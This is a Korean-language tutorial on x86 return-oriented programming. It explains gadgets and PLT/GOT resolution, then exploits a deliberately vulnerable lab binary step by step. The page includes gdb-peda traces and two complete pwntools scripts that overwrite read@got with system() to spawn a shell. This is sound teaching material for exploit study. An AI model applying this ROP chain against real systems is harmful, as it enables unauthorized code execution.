Excuse the ads! We need some help to keep our site up.
List
Return Oriented Programming(ROP) -x86
- ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술입니다.
- RTL + Gadgets
- 이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고, "가젯(Gadgets)"이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요합니다.
- 각 가젯은 일반적으로 반환 명령어(ret)로 끝이나며, 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 있습니다.
- 가젯과 취약성을 사용하면 공격자가 임의의 작업을 수행 할 수 있습니다.
Gadgets - POP; POP; POP; RET
- ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets을 이용해 공격에 필요한 코드를 프로그래밍 하는 것입니다.
- 01.RTL(Return to Libc) - x86 페이지에서 system() 함수만 호출하였습니다.
- 하지만 프로그램 및 운영체제,등 다양한 상황에 따라 여러 개의 함수 호출이 필요할 수 있습니다.
Stack Address | Value | Explanation |
---|---|---|
0xffffd57c | System function address of libc | Function Return Address |
0xffffd580 | The address to return to after calling the system function | |
0xffffd584 | First argument value |
- 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 Gadgets 이 사용됩니다.
- 호출 하는 함수의 인자가 3개 일 경우 : "pop; pop; pop; ret"
- 호출 하는 함수의 인자가 2개 일 경우 : "pop; pop; ret"
- 호출 하는 함수의 인자가 1개 일 경우 : "pop; ret"
- 호출 하는 함수의 인자가 없을 경우 : "ret"
- 해당 Gadgets들의 역할은 ESP 레지스터의 값을 증가시키는 것입니다.
- RTL에 의해 호출되는 함수에 전달되는 인자 값이 저장된 영역을 지나 다음 함수가 호출될 수 있도록 하는 것입니다.
- x86 바이너리에서는 pop 명령어의 피연산자 값은 중요하지 않습니다.
- 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있습니다.
- RTL에서 호출할 함수(주소 값이 저장된)의 다음 영역은 해당 함수가 종료된 후 이동할 Return Address 영역입니다.
- 해당 영역에 Gadgets의 주소를 저장함으로써 연속해서 다음 함수가 호출될 수 있습니다.
- 아래 예제는 read() 함수 호출 후 System() 함수를 호출하게 됩니다.
Stack Address | Value | Explanation |
---|---|---|
0xffffd57c | Read function address of libc | Function Return Address |
0xffffd580 | Address of gadgets(pop;pop;pop;ret) | |
0xffffd584 | First argument value | |
0xffffd588 | Second argument value | |
0xffffd58C | Third argument value | |
0xffffd590 | System function address of libc | |
0xffffd594 | The address to return to after calling the system function | |
0xffffd598 | First argument value |
PLT & GOT
- 프로시저 링키지 테이블(PLT, Procedure linkage table)에는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있습니다.
- 해당 정보들은 ".plt" 섹션에 저장되어 있습니다.
- 전역 오프셋 테이블(GOT, Global offset table)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됩니다.
- 이 정보들은 ".got.plt" 섹션에 저장됩니다.
- 이 섹션은 공격자들의 공격 대상이 되며, 주로 힙, ".bss" Exploit에 의해 포인터 값을 변조 합니다.
- ROP에서는 해당 정보들을 유용하게 활용할 수 있습니다.
Debug
다음과 같이 PLT & GOT 영역의 내용 및 값의 변경을 확인할 수 있습니다.
read() 함수가 처음으로 호출되기 전에 Break point를 설정하였습니다.
read함수의 plt, got 영역의 주소는 다음과 같습니다.
.plt : 0x8048300
.got.plt : 0x804a00c
read@plt 영역에는 libc에서 read() 함수를 호출하기 위한 코드가 저장되어 있습니다.
read@plt 의 코드는 다음과 같이 동작합니다.
read@got(0x804a00c) 영역에 저장된 주소로 이동합니다.
read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306)영역의 주소가 저장되어 있습니다.
이는 해당 프로그램에서 read() 함수가 한번도 호출되지 않았기 때문입니다.
<read@plt+11> 의 "jmp 0x80482f0" 코드에 의해 _dl_runtime_resolve() 함수를 호출합니다.
- 해당 함수는 libc에서 찾고자 하는 함수(read)의 주소를 .got.plt 영역에 저장합니다.
- read() 함수가 호출된 후 read@got(0x804a00c)영역에는 libc의 read() 함수 주소가 저장되어 있습니다.
Breakpoint 1, 0x0804844f in vuln () gdb-peda$ x/i $eip => 0x804844f <vuln+20>: call 0x8048300 <read@plt> gdb-peda$ elfsymbol read Detail symbol info read@reloc = 0 read@plt = 0x8048300 read@got = 0x804a00c gdb-peda$ x/3i 0x8048300 0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c 0x8048306 <read@plt+6>: push 0x0 0x804830b <read@plt+11>: jmp 0x80482f0 gdb-peda$ x/wx 0x804a00c 0x804a00c: 0x08048306 gdb-peda$ x/3i 0x80482f0 0x80482f0: push DWORD PTR ds:0x804a004 0x80482f6: jmp DWORD PTR ds:0x804a008 0x80482fc: add BYTE PTR [eax],al gdb-peda$ x/wx 0x804a008 0x804a008: 0xb7ff0000 gdb-peda$ x/3i 0xb7ff0000 0xb7ff0000 <_dl_runtime_resolve>: push eax 0xb7ff0001 <_dl_runtime_resolve+1>: push ecx 0xb7ff0002 <_dl_runtime_resolve+2>: push edx gdb-peda$ ni AAAA 0x08048454 in vuln () gdb-peda$ x/wx 0x804a00c 0x804a00c: 0xb7edeb00 gdb-peda$ x/i 0xb7edeb00 0xb7edeb00 <read>: cmp DWORD PTR gs:0xc,0x0 gdb-peda$ p read $1 = {<text variable, no debug info>} 0xb7edeb00 <read> gdb-peda$
Proof of concept
Example code
#include <stdio.h> #include <unistd.h> void vuln(){ char buf[50]; read(0, buf, 256); } void main(){ write(1,"Hello ROP\n",10); vuln(); }
Build
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -m32 -fno-stack-protector -o rop rop.c
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x0804843b : vuln 함수 코드 첫부분
0x0804844f : read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/ROP$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804843b <+0>: push ebp 0x0804843c <+1>: mov ebp,esp 0x0804843e <+3>: sub esp,0x48 0x08048441 <+6>: sub esp,0x4 0x08048444 <+9>: push 0x100 0x08048449 <+14>: lea eax,[ebp-0x3a] 0x0804844c <+17>: push eax 0x0804844d <+18>: push 0x0 0x0804844f <+20>: call 0x8048300 <read@plt> 0x08048454 <+25>: add esp,0x10 0x08048457 <+28>: nop 0x08048458 <+29>: leave 0x08048459 <+30>: ret End of assembler dump. gdb-peda$ b *0x0804843b Breakpoint 1 at 0x804843b gdb-peda$ b *0x0804844f Breakpoint 2 at 0x804844f gdb-peda$
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0xffffd5dc) - buf 변수의 시작 주소 (0xffffd59e) = 62
- 즉, 62개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/ROP/rop Hello ROP Breakpoint 1, 0x0804843b in vuln () gdb-peda$ i r esp esp 0xffffd5dc 0xffffd5dc gdb-peda$ x/wx 0xffffd5dc 0xffffd5dc: 0x08048484 gdb-peda$ c Continuing. Breakpoint 2, 0x0804844f in vuln () gdb-peda$ i r esp esp 0xffffd580 0xffffd580 gdb-peda$ x/3wx 0xffffd580 0xffffd580: 0x00000000 0xffffd59e 0x00000100 gdb-peda$ p/d 0xffffd5dc - 0xffffd59e $1 = 62 gdb-peda$
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
read 함수를 이용해 "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 저장
- write 함수를 이용해 read 함수의 .got 영역에 저장된 값을 출력
- read 함수를 이용해 read 함수의 .got 영역에 system 함수의 주소로 덮어씀
- read 함수 호출 - read .got 영역에 system 함수의 주소가 저장되어 있기 때문에 system 함수가 호출됨
- 이를 코드로 표현하면 다음과 같습니다.
read(0,writableArea,len(str(binsh))) write(1,read_got,len(str(read_got))) read(0,read_got,len(str(read_got))) system(writableArea)
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- "/bin/sh"명령을 저장할 수 있는 쓰기 가능한 메모리 공간
- read(), write() 함수의 plt, got
- system() 함수의 주소
- pop,pop,pop,ret 가젯의 위치
Finding a writable memory space
- 다음과 같이 쓰기 가능한 영역을 확인 할 수 있습니다.
- 해당 바이너리의 0x0804a000 ~ 0x0804b000 영역에 쓰기권한이 부여되어 있습니다.
gdb-peda$ shell ps -ef|grep rop lazenca+ 7903 3056 0 19:12 pts/4 00:00:00 gdb -q ./rop lazenca+ 7905 7903 0 19:13 pts/4 00:00:00 /home/lazenca0x0/Exploit/ROP/rop lazenca+ 7912 7903 0 19:13 pts/4 00:00:00 bash -c ps -ef|grep rop lazenca+ 7914 7912 0 19:13 pts/4 00:00:00 grep rop gdb-peda$ shell cat /proc/7905/maps 08048000-08049000 r-xp 00000000 08:01 1059676 /home/lazenca0x0/Exploit/ROP/rop 08049000-0804a000 r--p 00000000 08:01 1059676 /home/lazenca0x0/Exploit/ROP/rop 0804a000-0804b000 rw-p 00001000 08:01 1059676 /home/lazenca0x0/Exploit/ROP/rop f7e07000-f7e08000 rw-p 00000000 00:00 0 f7e08000-f7fb5000 r-xp 00000000 08:01 1179655 /lib32/libc-2.23.so f7fb5000-f7fb6000 ---p 001ad000 08:01 1179655 /lib32/libc-2.23.so f7fb6000-f7fb8000 r--p 001ad000 08:01 1179655 /lib32/libc-2.23.so f7fb8000-f7fb9000 rw-p 001af000 08:01 1179655 /lib32/libc-2.23.so f7fb9000-f7fbc000 rw-p 00000000 00:00 0 f7fd4000-f7fd5000 rw-p 00000000 00:00 0 f7fd5000-f7fd8000 r--p 00000000 00:00 0 [vvar] f7fd8000-f7fda000 r-xp 00000000 00:00 0 [vdso] f7fda000-f7ffc000 r-xp 00000000 08:01 1179653 /lib32/ld-2.23.so f7ffc000-f7ffd000 r--p 00022000 08:01 1179653 /lib32/ld-2.23.so f7ffd000-f7ffe000 rw-p 00023000 08:01 1179653 /lib32/ld-2.23.so fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] gdb-peda$
- 앞에서 확인한 쓰기 가능한 영역에는 다음과 같은 섹션이 포함됩니다.
Sections Name | Memory address | Size |
---|---|---|
.got.plt | 0x804a000 | 0x18 |
.data | 0x804a018 | 0x8 |
.bss | 0x804a020 | 0x4 |
gdb-peda$ shell objdump -h ~/Exploit/ROP/rop /home/lazenca0x0/Exploit/ROP/rop: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048154 08048154 00000154 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048168 08048168 00000168 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .note.gnu.build-id 00000024 08048188 08048188 00000188 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .gnu.hash 00000020 080481ac 080481ac 000001ac 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynsym 00000060 080481cc 080481cc 000001cc 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .dynstr 00000050 0804822c 0804822c 0000022c 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version 0000000c 0804827c 0804827c 0000027c 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .gnu.version_r 00000020 08048288 08048288 00000288 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.dyn 00000008 080482a8 080482a8 000002a8 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .rel.plt 00000018 080482b0 080482b0 000002b0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 10 .init 00000023 080482c8 080482c8 000002c8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .plt 00000040 080482f0 080482f0 000002f0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .plt.got 00000008 08048330 08048330 00000330 2**3 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .text 000001b2 08048340 08048340 00000340 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 14 .fini 00000014 080484f4 080484f4 000004f4 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 15 .rodata 00000013 08048508 08048508 00000508 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 16 .eh_frame_hdr 00000034 0804851c 0804851c 0000051c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 17 .eh_frame 000000ec 08048550 08048550 00000550 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 18 .init_array 00000004 08049f08 08049f08 00000f08 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .fini_array 00000004 08049f0c 08049f0c 00000f0c 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .jcr 00000004 08049f10 08049f10 00000f10 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .dynamic 000000e8 08049f14 08049f14 00000f14 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .got 00000004 08049ffc 08049ffc 00000ffc 2**2 CONTENTS, ALLOC, LOAD, DATA 23 .got.plt 00000018 0804a000 0804a000 00001000 2**2 CONTENTS, ALLOC, LOAD, DATA 24 .data 00000008 0804a018 0804a018 00001018 2**2 CONTENTS, ALLOC, LOAD, DATA 25 .bss 00000004 0804a020 0804a020 00001020 2**0 ALLOC 26 .comment 00000034 00000000 00000000 00001020 2**0 CONTENTS, READONLY gdb-peda$
Find gadget
peda
- 다음과 같이 peda에서 필요한 Gadgets을 찾을 수 있습니다.
gdb-peda$ ropgadget ret = 0x80482d2 popret = 0x80482e9 pop2ret = 0x80484ea pop3ret = 0x80484e9 pop4ret = 0x80484e8 addesp_12 = 0x80482e6 addesp_16 = 0x80483a5 gdb-peda$
rp++
- 다음과 같이 rp++ 를 이용해서도 원하는 Gadgets을 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/ROP$ ./rp-lin-x86 -f ./rop -r 4 | grep "pop" 0x080482e4: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x08048501: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080484fd: add ebx, 0x00001B03 ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080484ff: add ebx, dword [ebx] ; add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080482e6: add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x08048503: add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080482e7: les ecx, [eax] ; pop ebx ; ret ; (1 found) 0x08048504: les ecx, [eax] ; pop ebx ; ret ; (1 found) 0x080484e6: les ecx, [ebx+ebx*2] ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x080484e7: or al, 0x5B ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x080484eb: pop ebp ; ret ; (1 found) 0x080484e8: pop ebx ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x080482e9: pop ebx ; ret ; (1 found) 0x08048506: pop ebx ; ret ; (1 found) 0x080484ea: pop edi ; pop ebp ; ret ; (1 found) 0x080484e9: pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x0804848a: popad ; cld ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROP$
Find plt, got address - read, write
- 다음과 같이 peda에서 .plt, .got 영역을 확인 할 수 있습니다.
gdb-peda$ elfsymbol read Detail symbol info read@reloc = 0 read@plt = 0x8048300 read@got = 0x804a00c gdb-peda$ elfsymbol write Detail symbol info write@reloc = 0x10 write@plt = 0x8048320 write@got = 0x804a014 gdb-peda$
Find the address of the system() function
- 다음과 같이 system 함수의 Address, offset을 확인할 수 있습니다.
gdb-peda$ p read $2 = {<text variable, no debug info>} 0xf7edc350 <read> gdb-peda$ p system $3 = {<text variable, no debug info>} 0xf7e42940 <system> gdb-peda$ p/x 0xf7edc350 - 0xf7e42940 $4 = 0x99a10 gdb-peda$
Exploit code
from pwn import * from struct import * #context.log_level = 'debug' binsh = "/bin/sh" stdin = 0 stdout = 1 read_plt = 0x8048300 read_got = 0x804a00c write_plt = 0x8048320 write_got = 0x804a014 #32bit OS - /lib/i386-linux-gnu/libc-2.23.so read_system_offset = 0x9ad60 #64bit OS - /lib32/libc-2.23.so #read_system_offset = 0x99a10 writableArea = 0x0804a020 pppr = 0x80484e9 payload = "A"*62 #read(0,writableArea,len(str(binsh))) payload += p32(read_plt) payload += p32(pppr) payload += p32(stdin) payload += p32(writableArea) payload += p32(len(str(binsh))) #write(1,read_got,len(str(read_got))) payload += p32(write_plt) payload += p32(pppr) payload += p32(stdout) payload += p32(read_got) payload += p32(4) #read(0,read_got,len(str(read_got))) payload += p32(read_plt) payload += p32(pppr) payload += p32(stdin) payload += p32(read_got) payload += p32(len(str(read_got))) #system(writableArea) payload += p32(read_plt) payload += p32(0xaaaabbbb) payload += p32(writableArea) r = process('./rop') r.recvn(10) r.send(payload + '\n') r.send(binsh) read = u32(r.recvn(4,timeout=1)) system_addr = read - read_system_offset r.send(p32(system_addr)) r.interactive()
- 다음과 같이 Pwntools에서 제공하는 ROP 기능을 이용해 조금더 편하게 ROP코드를 작성할 수 있습니다.
from pwn import * from struct import * #context.log_level = 'debug' binsh = "/bin/sh" binary = ELF('./rop') #32bit OS libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") #64bit OS #libc = ELF("/lib32/libc-2.23.so") rop = ROP(binary) print binary.checksec() read_plt = binary.plt['read'] read_got = binary.got['read'] write_plt = binary.plt['write'] write_got = binary.got['write'] read_system_offset = libc.symbols['read'] - libc.symbols['system'] writableArea = 0x0804a050 #Address info log.info("read@plt : " + str(hex(read_plt))) log.info("read@got : " + str(hex(read_got))) log.info("write@plt : " + str(hex(write_plt))) log.info("write@got : " + str(hex(write_got))) log.info("read system offset : " + str(hex(read_system_offset))) log.info("Writeable area : " + str(writableArea)) #ROP Code rop.read(0,writableArea,len(str(binsh))) rop.write(1,read_got,4) rop.read(0,read_got,len(str(read_got))) rop.raw(read_plt) rop.raw(0xaaaabbbb) rop.raw(writableArea) payload = "A"*62 + str(rop) #Run r = process("./rop") r.recvn(10) r.send(payload + '\n') r.send(binsh) read = u32(r.recvn(4)) system_addr = read - read_system_offset rop = ROP(binary) rop.raw(system_addr) r.send(str(rop)) r.interactive()